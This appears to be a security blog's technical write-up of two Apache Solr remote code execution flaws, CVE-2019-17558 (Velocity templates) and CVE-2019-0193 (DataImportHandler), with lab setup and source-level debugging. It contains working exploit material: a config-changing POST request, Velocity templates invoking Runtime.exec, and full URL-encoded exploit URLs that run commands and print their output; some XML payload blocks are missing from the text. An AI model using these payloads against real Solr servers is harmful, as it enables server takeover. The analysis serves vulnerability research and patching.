Solar stroke. Two severe vulnerabilities in Apache Solr

Not long ago, researchers have discovered two severe vulnerabilities in Apache Solr, a popular open-source full-text search platform. The first bug relates to incorrect handling of Velocity templates, while the second one originates from the DataImportHandler module. Their exploitation enables the attacker to execute commands remotely; therefore, both vulnerabilities must be treated as critical.

Solr is written in Java and based on Apache Lucene search engine. Its main features include full-text search, hit highlighting, faceted search, dynamic clustering, etc. Thanks to its scalability, Solr has quickly become a popular search engine.

The first vulnerability, CVE-2019-17558, originates from the possibility to override the configuration and enables the attacker to use custom templates and execute arbitrary system commands in these templates. The bug affects Apache Solr versions from 5.0.0 to 8.3.1.

The second vulnerability, CVE-2019-0193, is contained in the DataImportHandler module. The attacker may deliver malicious payload in the dataConfig parameter by making a GET request to the function that imports database configurations. This bug was discovered by Michael Stepankin, a security researcher at Veracode. The vulnerability affects Apache Solr versions up to 8.2.0.

Test system

First, I have to deploy a system to test the bugs. I will use Apache Solr version 8.1.1 vulnerable to both exploits. As usual, the research can be carried out in two ways. The first variant involves a precrafted Docker container. It is suitable if you don’t want to spend time and effort on debugging and examine the Solr internal structure in detail. If so, use the vulhub repository. All you need are twodocker-compose.xml files: for CVE-2019-0193 and for CVE-2019-17558. Save them in separate folders and run using the command:

docker-compose up -d
Docker container for the CVE-2019-0193 vulnerability

Docker container for the CVE-2019-0193 vulnerability

The second variant of the test system (the one I am going to use) is different. Frankly speaking, it’s not that sophisticated. First, download the required Solr version (solr-8.1.1-src.tgz) from the official web site. Then unpack the archive and switch to the bin directory. Now, to launch the server, all you have to do is execute the solr.cmd script for Windows or solr for Linux and macOS.

solr start

The server is deployed on port 8983.

Apache Solr 8.1.1

Apache Solr 8.1.1

Aside from the test system, I will also need a debugging mechanism, so, I stop Solr for now.

solr stop -all

I will use IntelliJ IDEA for debugging. First, I generate the environment using the Ant utility.

ant ivy-bootstrap
ant idea

Then I switch to the solr folder and execute one more command:

ant server
Preparing debugging environment for Apache Solr

Preparing debugging environment for Apache Solr

After the successful execution of the above commands, I open a project in IDEA. Time to specify the server deployment parameters. For that purpose, I am going to add a new remote debug configuration. I specify the port and select server as module classpath.

Remote debug configuration in IDEA

Remote debug configuration in IDEA

Note the string in the field “Command line arguments for remote JVM”. It should be added as an argument to the command that launches the server.

solr start -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"

I launch the debugger, and the test system is ready.

Apache Solr debugging system is ready to go

Apache Solr debugging system is ready to go

Time to create two test core instances required to analyze the vulnerability. I will use the example-DIH config to test the bug contained in DataImportHandler.

solr create_core -c test -d ../example/example-DIH/solr/db
Test instance created to analyze CVE-2019-0193

Test instance created to analyze CVE-2019-0193

The bug related to the template handler can be analyzed using the default config.

solr create_core -c vel

I will examine the vulnerabilities in chronological order.

Bug in DataImportHandler

In many search apps, the content to be indexed is kept in a structured data storage, e.g. in a relational database management system (DBMS). DataImportHandler (DIH) provides a mechanism that imports the content of such a data storage and indexes it. It includes a function that sends the entire DIH configuration with a single request containing the dataConfig parameter. The DIH debug mode allows convenient debugging of this config.

However, a DIH config may contain scripts, and this creates a potential attack vector. To be specific, this allows to execute arbitrary code. According to the ScriptTransfer documentation, by default, transformer functions are written in JavaScript; however, it is possible to inject into them pieces of code written in Java.

ScriptTransformer with code written in Java

ScriptTransformer with code written in Java

It also does matter how the created transformer is called.

Using a trivial method, getRuntime().exec(), you can create the body of an rce function able to execute any code.


  

But the question is: in what context can this function be called? This operation requires a source of valid data. I don’t want to spend time on database creation; therefore, I review the documentation again. Fortunately, DataImportHandler supports plenty of various data source, for instance, URLDataSource that receives data from a certain URL.


  
  

I will use PlainTextEntityProcessor as a data handler (PlainTextEntityProcessor reads the content of the plainText field in the data source). In fact, this is not important for the testing purposes; what is important is that I am going to use my handmade rce function as a transformer.


  
  
  
    
  

Using the above code, I get the entire content of the page http://abc.com/ and then apply the rce function to it.

I enable the DIH configuration debug mode in the DataImportHandler module and send to it the generated payload. Then I intercept this request andl see that the configuration data are transmitted in the dataConfig parameter.

Arbitrary code is executed in Apache Solr through DataImportHandler

Arbitrary code is executed in Apache Solr through DataImportHandler

I set a breakpoint at the ScriptTransformer initialization method (org.apache.solr.handler.dataimport.ScriptTransformer#initEngine) in the debugger…

org.apache.solr.handler.dataimport.ScriptTransformer#initEngine

…and see that transformers are written in JavaScript by default. The engine that parses the JS code is called Nashorn.

Debugging the initialization of ScriptTransformer

Debugging the initialization of ScriptTransformer

/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
65:   private void initEngine(Context context) {
66:     String scriptText = context.getScript();
67:     String scriptLang = context.getScriptLanguage();
...
72:     ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
73:     ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
...
86:     try {
87:       scriptEngine.eval(scriptText);

According to the documentation, Nashorn allows to address standard Java packets and classes.

Launching the calculator through java.lang.Runtime.getRuntime in Nashorn

Launching the calculator through java.lang.Runtime.getRuntime in Nashorn

Then the code execution passes to…

org.apache.solr.handler.dataimport.ScriptTransformer#transformRow

…and this is where my function is called.

/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
48:   @Override
49:   public Object transformRow(Map row, Context context) {
50:     try {
51:       if (engine == null)
52:         initEngine(context);
53:       if (engine == null)
54:         return row;
55:       return engine.invokeFunction(functionName, new Object[]{row, context});
Calling the rce function

Calling the rce function

This is how the attacker may execute arbitrary commands in the system. Of course, this is a severe breach in the security; therefore, starting from version 8.2.0, Apache Solr does not allow direct uploads from the dataConfig parameter via the web interface. To enable this method, you now have to set the value of enable.dih.dataConfigParam to true.

Vulnerability in the Velocity engine

To exploit this vulnerability, the attacker must have access to the Admin API that allows to change the configuration of the existing core and to enable the params.resource.loader.enabled parameter in VelocityResponseWriter. This, in turn, makes possible the transmission of templates in request parameters. By default, this option is disabled.

/solr-8.1.1/solr/server/solr/vel/conf/solrconfig.xml
1293: 
1296: 
1297:   ${velocity.template.base.dir:}
1298:   ${velocity.solr.resource.loader.enabled:true}
1299:   ${velocity.params.resource.loader.enabled:false}
1300: 
params.resource.loader.enabled

params.resource.loader.enabled

First, I get the list of all instances by making the following request to the API.

http://solr.vh:8983/solr/admin/cores?indexInfo=false&wt=json

Such a list will be very useful in real-life situations.

Retrieving the list of cores in Apache Solr through the API

Retrieving the list of cores in Apache Solr through the API

The vel core is of utmost interest: I have specially created it for testing purposes. Now, let’s examine the web server configuration file, web.xml.

/solr-8.1.1/solr/webapp/web/WEB-INF/web.xml
25: 
26: 
27:   SolrRequestFilter
28:   org.apache.solr.servlet.SolrDispatchFilter
...
40: 
41:   SolrRequestFilter
42:   /*
43: 

All requests sent to the server pass through the filter SolrRequestFilter declared as the org.apache.solr.servlet.SolrDispatchFilter class. According to the Config API manual, to change the properties of a core, I have to send a request to /config. Each API endpoint has its own handlers. Based on the documentation, SolrConfigHandler is behind the URL /config. Let’s examine the body of this class. The handleRequestBody method handles the sent request.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
101: public class SolrConfigHandler extends RequestHandlerBase implements SolrCoreAware, PermissionNameProvider {
...
124:   @Override
125:   public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
126:
127:     RequestHandlerUtils.setWt(req, CommonParams.JSON);
128:     String httpMethod = (String) req.getContext().get("httpMethod");
129:     Command command = new Command(req, rsp, httpMethod);
...
141:       command.handleGET();

If you make an ordinary GET request to this endpoint, then handleGET is called, and the current core configuration is restored. In that configuration, the params.resource.loader.option.enabled option is set to false.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
158: private class Command {
...
179:   private void handleGET() {
180:     if (parts.size() == 1) {
181:       //this is the whole config. sent out the whole payload
182:       resp.add("config", getConfigDetails(null, req));
...
258:   private Map getConfigDetails(String componentType, SolrQueryRequest req) {
259:     String componentName = componentType == null ? null : req.getParams().get("componentName");
260:     boolean showParams = req.getParams().getBool("expandParams", false);
261:     Map map = this.req.getCore().getSolrConfig().toMap(new LinkedHashMap<>());
262:     if (componentType != null && !SolrRequestHandler.TYPE.equals(componentType)) return map;
263:     Map reqHandlers = (Map) map.get(SolrRequestHandler.TYPE);
264:     if (reqHandlers == null) map.put(SolrRequestHandler.TYPE, reqHandlers = new LinkedHashMap<>());
265:     List plugins = this.req.getCore().getImplicitHandlers();
266:     for (PluginInfo plugin : plugins) {
267:       if (SolrRequestHandler.TYPE.equals(plugin.type)) {
...
269:           reqHandlers.put(plugin.name, plugin);
...
273:     if (!showParams) return map;
Debugging the GET request sent to the endpoint/config

Debugging the GET request sent to the endpoint/config

In the browser window, I see the server’s response in the JSON format.

Current queryResponseWriter configuration in the vel core

Current queryResponseWriter configuration in the vel core

To change the existing configuration, I have to make a POST request. This request is processed using the handlePOST method. So, I set a breakpoint at its call and send a request to change the Velocity engine’s configuration.

POST /solr/vel/config HTTP/1.1
Host: solr.vh:8983
Content-Type: application/json
Content-Length: 0

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
124: @Override
125: public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
...
128:   String httpMethod = (String) req.getContext().get("httpMethod");
129:   Command command = new Command(req, rsp, httpMethod);
...
135:     try {
136:       command.handlePOST();

Solr processes the body of the request and extracts the commands transmitted with it. In this particular case, there is only one command: update-queryresponsewriter.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
332: private void handlePOST() throws IOException {
333:   List ops = CommandOperation.readCommands(req.getContentStreams(), resp.getValues());
...
344:           ConfigOverlay overlay = SolrConfig.getConfigOverlay(req.getCore().getResourceLoader());
345:           handleCommands(opsCopy, overlay);
Debugging Apache Solr: the handleCommands method is called

Debugging Apache Solr: the handleCommands method is called

Then the handleCommands method comes into play. It breaks the transmitted string by the minus symbol, thus, obtaining the name of the command and name of the module (plugin) this command must be applied to.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
453: private void handleCommands(List ops, ConfigOverlay overlay) throws IOException {
454:   for (CommandOperation op : ops) {
455:     switch (op.name) {
...
468:       default: {
469:         List pcs = StrUtils.splitSmart(op.name.toLowerCase(Locale.ROOT), '-');
...
473:           String prefix = pcs.get(0);
474:           String name = pcs.get(1);
475:           if (cmdPrefixes.contains(prefix) && namedPlugins.containsKey(name)) {
476:             SolrConfig.SolrPluginInfo info = namedPlugins.get(name);
Checking the transmitted command type and the module type

Checking the transmitted command type and the module type

If such a module is found, then its configuration is updated with the data transmitted in the request. UpdateNamedPlugin performs this operation.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
480:               overlay = updateNamedPlugin(info, op, overlay, prefix.equals("create") || prefix.equals("add"));
...
522: private ConfigOverlay updateNamedPlugin(SolrConfig.SolrPluginInfo info, CommandOperation op, ConfigOverlay overlay, boolean isCeate) {
523:   String name = op.getStr(NAME);
524:   String clz = info.options.contains(REQUIRE_CLASS) ? op.getStr(CLASS_NAME) : op.getStr(CLASS_NAME, null);
525:   op.getMap(DEFAULTS, null);
526:   op.getMap(PluginInfo.INVARIANTS, null);
527:   op.getMap(PluginInfo.APPENDS, null);
528:   if (op.hasError()) return overlay;
529:   if (!verifyClass(op, clz, info.clazz)) return overlay;
530:   if (pluginExists(info, overlay, name)) {
...
535:       return overlay.addNamedPlugin(op.getDataMap(), info.getCleanTag());

After checking all options, Solr saves the updated configuration and passes the control to the persistConfLocally method.

/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
494: SolrResourceLoader loader = req.getCore().getResourceLoader();
...
504:   SolrResourceLoader.persistConfLocally(loader, ConfigOverlay.RESOURCE_NAME, overlay.toByteArray());

Important: Solr does not override the existing configuration file, but creates a new one: configoverlay.json. This is an overlay above the main configuration file: the program reads the main config first, and then it reads configoverlay.json. The sequential load allows to change settings only for the selected modules.

888: public static void persistConfLocally(SolrResourceLoader loader, String resourceName, byte[] content) {
889:   // Persist locally
890:   File confFile = new File(loader.getConfigDir(), resourceName);
891:   try {
892:     File parentDir = confFile.getParentFile();
...
900:     try (OutputStream out = new FileOutputStream(confFile);) {
901:       out.write(content);
The updated queryResponseWriter configuration is saved to the file configoverlay.json

The updated queryResponseWriter configuration is saved to the file configoverlay.json

Voila! In the updated configuration, params.resource.loader.enabled is set to true.

Additional config file configoverlay.json

Additional config file configoverlay.json

Prior to the exploitation, let’s briefly discuss the specific features of Java and Velocity templates.

Similar to many Java apps, Solr uses a 3-tier app architecture: Presentation Layer, Application Layer, and Data Layer. Each layer can be accessed independently, has a high autonomy degree, and consists of certain components. For instance, the two most commonly used Java frameworks are Struts2 and Spring MVC. They make possible to implement not only the classical Model-View-Controller (MVC) design pattern, but other, more flexible, concepts as well.

From the vulnerability exploitation perspective, only the Presentation Layer that employs various template engines is of interest to me. One of such engines is Velocity. Unlike ordinary static HTML pages, templates allow using a simple language to address objects defined in Java code. This simplifies the development of more advanced interfaces. In addition, Velocity enables UX designers and application logic developers to write different sections of the code independently and work in parallel. Velocity separates the Java code from the web page, thus, simplifying the subsequent site maintenance.

Now it is time for practical work. I create a simple Velocity template…

helloworld.vm
Hello ${name}!  Welcome to Velocity!

…and write code for it.

HelloWorld.java
import java.io.StringWriter;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;

public class HelloWorld {
  public static void main( String[] args ) throws Exception {
    /*  Initializing the engine  */
    VelocityEngine ve = new VelocityEngine();
    ve.setProperty(RuntimeConstants.RESOURCE_LOADER, "classpath");
    ve.setProperty("classpath.resource.loader.class", ClasspathResourceLoader.class.getName());
    ve.init();
    /*  Getting the template body  */
    Template t = ve.getTemplate( "helloworld.vm" );
    /*  Creating the context and declaring variables */
    VelocityContext context = new VelocityContext();
    context.put("name", "WORLD");
    /* Rendering in StringWriter */
    StringWriter writer = new StringWriter();
    t.merge( context, writer );
    /* Printing results to stdout */
    System.out.println( writer.toString() );
  }
}

After the execution of this file, the following string appears in the console: “Hello WORLD! Welcome to Velocity!”. In other words, the value of the name variable defined in the code has been passed to the template.

Rendering a simple Velocity template in Java

Rendering a simple Velocity template in Java

Not only can variables defined in the code be passed to the template, but also initialized directly in the template.

helloworld.vm
#set($var="VARIABLE")
Hello ${name}!  Welcome to Velocity!
It's ${var} from template.
A variable declared inside the Velocity template

A variable declared inside the Velocity template

Even classes can be called using a simple trick. Let’s, for instance, launch the calculator again.

helloworld.vm
#set($t="any")
#set($rnt=$t.class.forName("java.lang.Runtime"))
#set($ex=$rnt.getRuntime().exec('calc'))
$ex.waitFor()
Executing arbitrary code through the Velocity template

Executing arbitrary code through the Velocity template

Now everything is ready. All I have to do is call this template via Solr. For that purpose, I will use the select request.

http://solr.vh:8983/solr/vel/select?q=any

By default, the result is returned in the JSON format. I can change this by sending the desired format type for the response to my request (response writer) in the wt parameter. I specify velocity here.

http://solr.vh:8983/solr/vel/select?q=any&wt=velocity
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
135: public class HttpSolrCall {
...
785:   protected QueryResponseWriter getResponseWriter() {
786:     String wt = solrReq.getParams().get(CommonParams.WT);
787:     if (core != null) {
788:       return core.getQueryResponseWriter(wt);
789:     } else {
790:       return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,
791:           SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
792:     }
793:   }
Response writer received from a request sent to Apache Solr

Response writer received from a request sent to Apache Solr

I don’t have the /select.vm template; therefore, the server returns an error.

Various responses of the server to the select request

Various responses of the server to the select request

But I don’t really need it because I enabled the possibility to transmit a template directly in the request body. To do so, I go back to the request handler (i.e. SolrDispatchFilter).

/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java
092: public class SolrDispatchFilter extends BaseSolrFilter {
...
342:   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
343:     doFilter(request, response, chain, false);
...
346:   public void doFilter(ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry) throws IOException, ServletException {
347:     if (!(_request instanceof HttpServletRequest)) return;
348:     HttpServletRequest request = closeShield((HttpServletRequest)_request, retry);
349:     HttpServletResponse response = closeShield((HttpServletResponse)_response, retry);
...
394:       HttpSolrCall call = getHttpSolrCall(request, response, retry);
395:       ExecutorUtil.setServerThreadFlag(Boolean.TRUE);
396:       try {
397:         Action result = call.call();

The control has been transferred to the org.apache.solr.servlet.HttpSolrCall#call method.

/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
175:   public HttpSolrCall(SolrDispatchFilter solrDispatchFilter, CoreContainer cores,
176:                HttpServletRequest request, HttpServletResponse response, boolean retry) {
...
468:   public Action call() throws IOException {

A little bit later, org.apache.solr.servlet.HttpSolrCall#writeResponse is called.

/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
519:       HttpServletResponse resp = response;
...
535:             SolrQueryResponse solrRsp = new SolrQueryResponse();
...
556:             QueryResponseWriter responseWriter = getResponseWriter();
...
558:             writeResponse(solrRsp, responseWriter, reqMethod);
Debugging Apache Solr: writeResponse is called

Debugging Apache Solr: writeResponse is called

ResponseWriter here is an object belonging to the class VelocityResponseWriter. It parses and renders the template. First, the template engine is initialized.

/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
827: private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)
...
849:       QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
/solr-8.1.1/solr/core/src/java/org/apache/solr/response/QueryResponseWriterUtil.java
33: public final class QueryResponseWriterUtil {
34:   private QueryResponseWriterUtil() { /* static helpers only */ }
...
43:   public static void writeQueryResponse(OutputStream outputStream,
44:       QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,
45:       SolrQueryResponse solrResponse, String contentType) throws IOException {
...
64:       Writer writer = buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));
65:       responseWriter.write(writer, solrRequest, solrResponse);
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
149: public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
150:   VelocityEngine engine = createEngine(request);  // TODO: have HTTP headers available for configuring engine

Let’s see where the template name comes from.

/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
152: Template template = getTemplate(engine, request);

As you can see, the getTemplate method is implemented. Let’s examine its code in more detail.

/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
357: private Template getTemplate(VelocityEngine engine, SolrQueryRequest request) throws IOException {
358:   Template template;
359:
360:   String templateName = request.getParams().get(TEMPLATE);
...
363:   String path = (String) request.getContext().get("path");
364:   if (templateName == null && path != null) {
365:     templateName = path;
...
371:   try {
372:     template = engine.getTemplate(templateName + TEMPLATE_EXTENSION);

Hmm, looks interesting. Initially, the template name is taken from the request (v.template parameter).

/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
61: public class VelocityResponseWriter implements QueryResponseWriter, SolrCoreAware {
...
70:   public static final String TEMPLATE = "v.template";

If such a parameter is not specified, then path is used as the template name. Therefore, in this particular case, the server tries to load /select.vm.

Getting the name of the file containing the Velocity template

Getting the name of the file containing the Velocity template

Great, now I can specify any file name to be loaded as a template.

http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc

However, it won’t really help in this particular case because my goal is to execute the specific code. To circumvent this problem, I examine the Velocity engine initialization in more detail.

/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
149: public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
150:   VelocityEngine engine = createEngine(request);  // TODO: have HTTP headers available for configuring engine
...
280: private VelocityEngine createEngine(SolrQueryRequest request) {
281:   VelocityEngine engine = new VelocityEngine();
...
311:   if (paramsResourceLoaderEnabled) {
312:     loaders.add("params");
313:     engine.setProperty("params.resource.loader.instance", new SolrParamResourceLoader(request));
314:   }

Do you recognize this parameter? Yes, this is exactly the setting I have overwritten in the config.

Checking the status of params.resource.loader.enabled during the Velocity initialization

Checking the status of params.resource.loader.enabled during the Velocity initialization

Then SolrParamResourceLoader comes into play.

/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/SolrParamResourceLoader.java
33: public static final String TEMPLATE_PARAM_PREFIX = VelocityResponseWriter.TEMPLATE + ".";
...
35: private Map templates = new HashMap<>();
36: public SolrParamResourceLoader(SolrQueryRequest request) {
...
43:   SolrParams params = request.getParams();
44:   Iterator names = params.getParameterNamesIterator();
45:   while (names.hasNext()) {
46:     String name = names.next();
47:
48:     if (name.startsWith(TEMPLATE_PARAM_PREFIX)) {
49:       templates.put(name.substring(TEMPLATE_PARAM_PREFIX.length()) + VelocityResponseWriter.TEMPLATE_EXTENSION,params.get(name));
50:     }
51:   }
52: }

This code takes all parameters from the template; if these parameters start from v.template., then they are added to the list of templates. For instance, I make the following request:

http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc&v.template.poc=HELLO!

After the execution of the above code, the templates variable will contain a template: its name is poc.vm, while its content is HELLO!.

Creating a Velocity template from a request sent to Apache Solr

Creating a Velocity template from a request sent to Apache Solr

Now I have all the tools required to exploit the vulnerability. I create a request. The payload should be URL-encoded before it can be used as an URL. Line breaks can be replaced by spaces. As a result, the code

#set($t="any")
#set($rnt=$t.class.forName("java.lang.Runtime"))
#set($ex=$rnt.getRuntime().exec('calc'))
$ex.waitFor()

is converted into

%23set%28%24t%3D%22any%22%29+%23set%28%24rnt%3D%24t.class.forName%28%22java.lang.Runtime%22%29%29+%23set%28%24ex%3D%24rnt.getRuntime%28%29.exec%28%27calc%27%29%29+%24ex.waitFor%28%29

I put all parts together and build an URL, send it to the server, and see the much-desired calculator.

http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template.%2fselect=%23set%28%24t%3D%22any%22%29+%23set%28%24rnt%3D%24t.class.forName%28%22java.lang.Runtime%22%29%29+%23set%28%24ex%3D%24rnt.getRuntime%28%29.exec%28%27calc%27%29%29+%24ex.waitFor%28%29
Executing arbitrary code in Apache Solr through templates

Executing arbitrary code in Apache Solr through templates

In this case, I used the nonexistent /select.vm as a template. The same result can be achieved if you specify the template name directly in the request. Below is a more advanced exploit displaying the output of the executed command.

#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read()))
#end

http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc&v.template.poc=%23set%28%24x%3D%27%27%29%20%23set%28%24rt%3D%24x.class.forName%28%27java.lang.Runtime%27%29%29%20%23set%28%24chr%3D%24x.class.forName%28%27java.lang.Character%27%29%29%20%23set%28%24str%3D%24x.class.forName%28%27java.lang.String%27%29%29%20%23set%28%24ex%3D%24rt.getRuntime%28%29.exec%28%27id%27%29%29%20%24ex.waitFor%28%29%20%23set%28%24out%3D%24ex.getInputStream%28%29%29%20%23foreach%28%24i%20in%20%5B1..%24out.available%28%29%5D%29%20%24str.valueOf%28%24chr.toChars%28%24out.read%28%29%29%29%20%23end
RCE implemented in Apache Solr using templates, and the RCE output is displayed

RCE implemented in Apache Solr using templates, and the RCE output is displayed

Plenty of similar and even more sophisticated payloads can be found on GitHub.

Video presentation of the vulnerability

Conclusions

The two vulnerabilities described in this article are frequently discovered during audits of corporate environments. These bugs enable attackers to get access to the server, entrench themselves in the network, collect intelligence, and attack the internal network resources.

The Solr developers have already released new secure versions of their product, as well as patches fixing the vulnerabilities in old versions. If you administer such a server, update its software without delay!


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>